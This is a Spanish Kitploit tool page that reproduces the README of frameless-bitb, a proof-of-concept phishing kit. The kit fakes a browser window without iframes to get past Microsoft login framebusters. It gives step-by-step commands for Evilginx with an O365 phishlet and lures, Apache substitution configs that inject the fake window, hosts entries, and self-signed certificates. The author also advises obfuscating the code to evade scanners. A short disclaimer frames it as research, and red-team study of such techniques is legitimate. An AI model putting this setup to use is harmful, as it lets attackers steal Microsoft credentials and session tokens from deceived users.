Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
frameless-bitb — Un nuevo enfoque para Browser In The Browser (BITB) sin el uso de iframes, permitiendo evitar los framebusters tradicionales implementados por páginas de inicio de sesión como Microsoft y el uso con Evilginx. | Kitploit
Herramientas/GitHubGitHub/waelmas/frameless-bitb
Herramientas de PhishingEvasión de IDS/IPSExplotación de Aplicaciones WebPhishingIngeniería SocialAprendizaje y Educación
GitHubwaelmas/frameless-bitb

frameless-bitb

Un nuevo enfoque para Browser In The Browser (BITB) sin el uso de iframes, permitiendo evitar los framebusters tradicionales implementados por páginas de inicio de sesión como Microsoft y el uso con Evilginx.

Ver Repositorio
45573hace 2 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Frameless BITB

Un nuevo enfoque para el Navegador en el Navegador (BITB) sin el uso de iframes, permitiendo eludir los framebusters tradicionales implementados por páginas de inicio de sesión como Microsoft.

Este código POC está diseñado para usar este nuevo BITB con Evilginx y un phishlet de Microsoft Enterprise.

Frameless-BITB-DEMO-compressed

Antes de profundizar en esto, recomiendo que primero veas mi charla en BSides 2023, donde presenté este concepto junto con detalles importantes sobre cómo crear el ataque de phishing "perfecto". ▶ Ver Vídeo

☕︎ Cómprame un Café

Tutorial en Vídeo: 👇

Aviso Legal

Esta herramienta es solo para fines educativos y de investigación. Demuestra un método de Navegador en el Navegador (BITB) basado en no-iframe. El autor no es responsable por cualquier uso indebido. Usa esta herramienta solo de manera legal y ética, en entornos controlados para pruebas de defensa de ciberseguridad. Al usar esta herramienta, aceptas hacerlo de manera responsable y bajo tu propio riesgo.

Antecedentes - El Porqué

Durante el año pasado, he estado experimentando con diferentes trucos para crear el ataque de phishing "perfecto". Las típicas "banderas rojas" que la gente está entrenada para buscar son cosas como urgencia, amenazas, autoridad, mala gramática, etc. La siguiente mejor cosa que la gente revisa hoy en día es el enlace/URL del sitio web con el que interactúan, y tienden a volverse muy conscientes en el momento en que se les pide ingresar credenciales sensibles como correos electrónicos y contraseñas. Ahí es donde entra en juego el Navegador en el Navegador (BITB). Originalmente introducido por @mrd0x, BITB es un concepto de crear la apariencia de una ventana de navegador creíble dentro de la cual el atacante controla el contenido (sirviendo el sitio web malicioso dentro de un iframe). Sin embargo, la barra de URL falsa de la ventana del navegador falso se establece en el sitio legítimo que el usuario esperaría. Esto combinado con una herramienta como Evilginx se convierte en la receta perfecta para un ataque de phishing creíble. El problema es que en los últimos meses/años, sitios web importantes como Microsoft han implementado varios pequeños trucos llamados "framebusters/framekillers" que principalmente intentan romper los iframes que podrían usarse para servir el sitio web proxyado como en el caso de Evilginx. En resumen, Evilginx + BITB para sitios web como Microsoft ya no funciona. Al menos no con un BITB que dependa de iframes.

El Qué

¡Un Navegador en el Navegador (BITB) sin ningún iframe! Así de simple.

Lo que significa que ahora podemos usar BITB con Evilginx en sitios web como Microsoft.

Evilginx aquí es solo un ejemplo sólido, pero el mismo concepto se puede usar para otros casos de uso también.

El Cómo

Los framebusters se dirigen específicamente a los iframes, por lo que la idea es crear el efecto BITB sin el uso de iframes y sin alterar la estructura/contenido original de la página proxyada. Esto se puede lograr inyectando scripts y HTML junto al contenido original mediante búsqueda y reemplazo (también conocido como sustituciones), y luego confiando completamente en trucos de HTML/CSS/JS para lograr el efecto visual. También usamos un truco adicional llamado "Shadow DOM" en HTML para colocar el contenido de la página de aterrizaje (fondo) de tal manera que no interfiera con el contenido proxyado, permitiéndonos usar de manera flexible cualquier página de aterrizaje con scripts JS adicionales menores.

Instrucciones

Tutorial en Vídeo

Thumbnail with YouTube Player

https://youtu.be/luJjxpEwVHI

Máquina Virtual Local:

Crea una VM Linux local. (Yo personalmente uso Ubuntu 22 en VMWare Player o Parallels Desktop)

Actualiza y mejora los paquetes del sistema:

root@kitploit:~
sudo apt update && sudo apt upgrade -y

Configuración de Evilginx:

Opcional:

Crea un nuevo usuario evilginx y agrega al usuario al grupo sudo:

sudo su

adduser evilginx

usermod -aG sudo evilginx

Prueba que el usuario evilginx esté en el grupo sudo:

su - evilginx

sudo ls -la /root

Navega al directorio home del usuario:

cd /home/evilginx

(Puedes hacer todo como usuario sudo también ya que estamos ejecutando todo localmente)

Configurando Evilginx

Descarga y compila Evilginx: Documentación Oficial

Copia los archivos de Evilginx a /home/evilginx

Instala Go: Documentación Oficial

root@kitploit:~
wget https://go.dev/dl/go1.21.4.linux-amd64.tar.gz
root@kitploit:~
sudo tar -C /usr/local -xzf go1.21.4.linux-amd64.tar.gz
root@kitploit:~
nano ~/.profile

AÑADE: export PATH=$PATH:/usr/local/go/bin

root@kitploit:~
source ~/.profile

Verifica:

root@kitploit:~
go version

Instala make:

root@kitploit:~
sudo apt install make

Compila Evilginx:

root@kitploit:~
cd /home/evilginx/evilginx2
root@kitploit:~
make

Crea un nuevo directorio para nuestra compilación de evilginx junto con phishlets y redirectors:

root@kitploit:~
mkdir /home/evilginx/evilginx

Copia la compilación, phishlets y redirectors:

root@kitploit:~
cp /home/evilginx/evilginx2/build/evilginx /home/evilginx/evilginx/evilginx

cp -r /home/evilginx/evilginx2/redirectors /home/evilginx/evilginx/redirectors

cp -r /home/evilginx/evilginx2/phishlets /home/evilginx/evilginx/phishlets

Solución rápida para el firewall de Ubuntu (gracias a @kgretzky)

root@kitploit:~
sudo setcap CAP_NET_BIND_SERVICE=+eip /home/evilginx/evilginx/evilginx

En Ubuntu, si obtienes el error Failed to start nameserver on: :53, intenta modificar este archivo

root@kitploit:~
sudo nano /etc/systemd/resolved.conf

edita/añade el DNSStubListener a no > DNSStubListener=no

luego

root@kitploit:~
sudo systemctl restart systemd-resolved

Modificar Configuraciones de Evilginx:

Dado que usaremos Apache2 delante de Evilginx, necesitamos hacer que Evilginx escuche en un puerto diferente al 443.

root@kitploit:~
nano ~/.evilginx/config.json

CAMBIA https_port de 443 a 8443

Instalar Apache2 y Habilitar Módulos:

Instalar Apache2:

root@kitploit:~
sudo apt install apache2 -y

Habilitar los módulos de Apache2 que se usarán: (También estamos deshabilitando el módulo access_compat ya que a veces causa problemas)

root@kitploit:~
sudo a2enmod proxy
sudo a2enmod proxy_http
sudo a2enmod proxy_balancer
sudo a2enmod lbmethod_byrequests
sudo a2enmod env
sudo a2enmod include
sudo a2enmod setenvif
sudo a2enmod ssl
sudo a2ensite default-ssl
sudo a2enmod cache
sudo a2enmod substitute
sudo a2enmod headers
sudo a2enmod rewrite
sudo a2dismod access_compat

Iniciar y habilitar Apache:

root@kitploit:~
sudo systemctl start apache2
root@kitploit:~
sudo systemctl enable apache2

Prueba si Apache y la red de la VM funcionan visitando la IP de la VM desde un navegador en la máquina host.

Clonar este Repositorio:

Instalar git si aún no está disponible:

root@kitploit:~
sudo apt -y install git

Clonar este repositorio:

root@kitploit:~
git clone https://github.com/waelmas/frameless-bitb
root@kitploit:~
cd frameless-bitb

Páginas Personalizadas de Apache:

Crea directorios para las páginas que serviremos:

  • home: (Opcional) Página de inicio (en el dominio base)
  • primary: Página de aterrizaje (fondo)
  • secondary: Ventana BITB (primer plano)
root@kitploit:~
sudo mkdir /var/www/home
sudo mkdir /var/www/primary
sudo mkdir /var/www/secondary

Copia los directorios para cada página:

sudo cp -r ./pages/home/ /var/www/

sudo cp -r ./pages/primary/ /var/www/

sudo cp -r ./pages/secondary/ /var/www/

Opcional: Elimina la página predeterminada de Apache (no se usa):

root@kitploit:~
sudo rm -r /var/www/html/

Copia el phishlet O365 al directorio de phishlets:

root@kitploit:~
sudo cp ./O365.yaml /home/evilginx/evilginx/phishlets/O365.yaml

Opcional: Para configurar el widget de Calendly para que use tu cuenta en lugar de la que tengo por defecto, ve a pages/primary/script.js y cambia CALENDLY_PAGE_NAME y CALENDLY_EVENT_TYPE.

Nota sobre la Ofuscación de Demostración: Como explico en el video tutorial, incluí una ofuscación mínima para contenido de texto como URLs y títulos del BITB. Puedes abrir el ofuscador de demostración abriendo demo-obfuscator.html en tu navegador. En un escenario real, recomendaría encarecidamente que ofusques fragmentos más grandes del código HTML inyectado o uses trucos de JS para evitar ser detectado y marcado. La versión avanzada en la que estoy trabajando usará una combinación de trucos avanzados para hacer casi imposible que los escáneres puedan identificar/detectar el código BITB, así que mantente atento.

Certificados SSL autofirmados:

Dado que ejecutamos todo localmente, necesitamos generar certificados SSL autofirmados que Apache usará. Evilginx no necesitará los certificados ya que lo ejecutaremos en modo desarrollador.

Usaremos el dominio fake.com que apuntará a nuestra VM local. Si deseas usar un dominio diferente, asegúrate de cambiar el dominio en todos los archivos (archivos de configuración de Apache, archivos JS, etc.).

Crea el directorio y los padres si no existen:

root@kitploit:~
sudo mkdir -p /etc/ssl/localcerts/fake.com/

Genera los certificados SSL usando el archivo de configuración de OpenSSL:

root@kitploit:~
sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
-keyout /etc/ssl/localcerts/fake.com/privkey.pem -out /etc/ssl/localcerts/fake.com/fullchain.pem \
-config openssl-local.cnf

Modifica los permisos de la clave privada:

root@kitploit:~
sudo chmod 600 /etc/ssl/localcerts/fake.com/privkey.pem

Configuraciones Personalizadas de Apache:

Copia los archivos de sustitución personalizados (el núcleo de nuestro enfoque):

root@kitploit:~
sudo cp -r ./custom-subs /etc/apache2/custom-subs

Nota Importante: En este repositorio he incluido 2 configuraciones de sustitución para Chrome en Mac y Chrome en Windows BITB. Ambas tienen detección automática y estilo para modo claro/oscuro y deberían actuar como plantillas base para lograr lo mismo para otras combinaciones de navegador/SO. Como no incluí la detección automática de la combinación de navegador/SO utilizada para visitar nuestra página de phishing, tendrás que usar una de las dos o implementar tu propia lógica para el cambio automático.

Ambos archivos de configuración en /apache-configs/ son iguales, solo con una directiva Include diferente para el archivo de sustitución que se incluirá. (hay 2 referencias para cada archivo)

root@kitploit:~
# Descomenta el que quieras y recuerda reiniciar Apache después de cualquier cambio:
#Include /etc/apache2/custom-subs/win-chrome.conf
Include /etc/apache2/custom-subs/mac-chrome.conf

Simplemente para facilitarlo, incluí ambas versiones como archivos separados para este siguiente paso.

Windows/Chrome BITB:

root@kitploit:~
sudo cp ./apache-configs/win-chrome-bitb.conf /etc/apache2/sites-enabled/000-default.conf

Mac/Chrome BITB:

root@kitploit:~
sudo cp ./apache-configs/mac-chrome-bitb.conf /etc/apache2/sites-enabled/000-default.conf

Prueba las configuraciones de Apache para asegurarte de que no haya errores:

root@kitploit:~
sudo apache2ctl configtest

Reinicia Apache para aplicar los cambios:

root@kitploit:~
sudo systemctl restart apache2

Modificar el Archivo Hosts:

Obtén la IP de la VM usando ifconfig y anótala en algún lugar para el siguiente paso.

Ahora necesitamos agregar nuevas entradas a nuestro archivo hosts, para apuntar el dominio utilizado en esta demostración fake.com y todos los subdominios utilizados a nuestra VM en la que se ejecutan Apache y Evilginx.

En Windows:

Abre el Bloc de notas como Administrador (Buscar > Bloc de notas > Clic derecho > Ejecutar como administrador)

Haz clic en la opción Archivo (arriba a la izquierda) y en la barra de direcciones del Explorador de archivos, copia y pega lo siguiente:

C:\Windows\System32\drivers\etc\

Cambia el tipo de archivos (abajo a la derecha) a "Todos los archivos".

Haz doble clic en el archivo llamado hosts

En Mac:

Abre una terminal y ejecuta lo siguiente:

root@kitploit:~
sudo nano /private/etc/hosts

Ahora modifica los siguientes registros (reemplaza [IP] con la IP de tu VM) y luego pega los registros al final del archivo hosts:

root@kitploit:~
# Local Apache and Evilginx Setup
[IP] login.fake.com
[IP] account.fake.com
[IP] sso.fake.com
[IP] www.fake.com
[IP] portal.fake.com
[IP] fake.com
# End of section

Guarda y sale.

Ahora reinicia tu navegador antes de pasar al siguiente paso.

Nota: En Mac, usa el siguiente comando para limpiar la caché DNS:

sudo dscacheutil -flushcache; sudo killall -HUP mDNSResponder

Nota Importante:

Esta demostración está hecha con el phishlet de Office 365 Enterprise proporcionado. Para obtener las entradas de host que necesitas agregar para un phishlet diferente, usa phishlet get-hosts [NOMBRE_PHISHLET] pero recuerda reemplazar 127.0.0.1 con la IP local real de tu VM.

Confiar en los Certificados SSL Autofirmados:

Dado que estamos usando certificados SSL autofirmados, nuestro navegador nos advertirá cada vez que intentemos visitar fake.com, por lo que necesitamos hacer que nuestra máquina host confíe en la autoridad de certificación que firmó los certificados SSL.

Para este paso, es más fácil seguir las instrucciones del video, pero aquí está la esencia de todos modos.

Abre https://fake.com/ en tu navegador Chrome.

Ignora la advertencia de sitio no seguro y continúa a la página.

Haz clic en el ícono SSL > Detalles > Exportar Certificado

IMPORTANTE: Al guardar, el nombre DEBE terminar con .crt para que Windows lo abra correctamente.

Haz doble clic en él > instalar para el usuario actual. NO selecciones automático, en su lugar coloca el certificado en un almacén específico: selecciona "Entidades de certificación raíz de confianza".

En Mac: para instalar solo para el usuario actual > selecciona "Keychain: login" Y haz clic en "View Certificates" > detalles > confiar > Confiar siempre

Ahora REINICIA tu Navegador

Deberías poder visitar https://fake.com ahora y ver la página de inicio sin advertencias SSL.

Ejecutar Evilginx:

En este punto, todo debería estar listo para que podamos iniciar Evilginx, configurar el phishlet, crear nuestro señuelo y probarlo.

Opcional: Instalar tmux (para mantener evilginx ejecutándose incluso si la sesión de terminal se cierra. Principalmente útil cuando se ejecuta en una VM remota).

root@kitploit:~
sudo apt install tmux -y

Inicia Evilginx en modo desarrollador (usando tmux para evitar perder la sesión):

root@kitploit:~
tmux new-session -s evilginx
root@kitploit:~
cd ~/evilginx/
root@kitploit:~
./evilginx -developer

(Para volver a adjuntar la sesión de tmux usa tmux attach-session -t evilginx)

Configuración de Evilginx:

root@kitploit:~
config domain fake.com
root@kitploit:~
config ipv4 127.0.0.1

IMPORTANTE: Configura el modo de lista negra de Evilginx en NoAdd para evitar poner en lista negra a Apache, ya que todas las solicitudes provendrán de Apache y no de la IP real del visitante.

root@kitploit:~
blacklist noadd

Configurar Phishlet y Señuelo:

root@kitploit:~
phishlets hostname O365 fake.com
root@kitploit:~
phishlets enable O365
root@kitploit:~
lures create O365
root@kitploit:~
lures get-url 0

Copia la URL del señuelo y visítala desde tu navegador (usa el usuario Invitado en Chrome para evitar tener que eliminar todos los datos guardados en caché entre pruebas).

Recursos Útiles

BITB original basado en iframes por @mrd0x: https://github.com/mrd0x/BITB

Curso de Maestría en Evilginx por el creador de Evilginx @kgretzky: https://academy.breakdev.org/evilginx-mastery

Mi charla en BSides 2023: https://www.youtube.com/watch?v=p1opa2wnRvg

Cómo proteger Evilginx usando Cloudflare y Ofuscación HTML: https://www.jackphilipbutton.com/post/how-to-protect-evilginx-using-cloudflare-and-html-obfuscation

Recursos de Evilginx para Microsoft 365 por @BakkerJan: https://janbakker.tech/evilginx-resources-for-microsoft-365/

TODO

  • Crear script(s) para automatizar la mayoría de los pasos
Descargar herramienta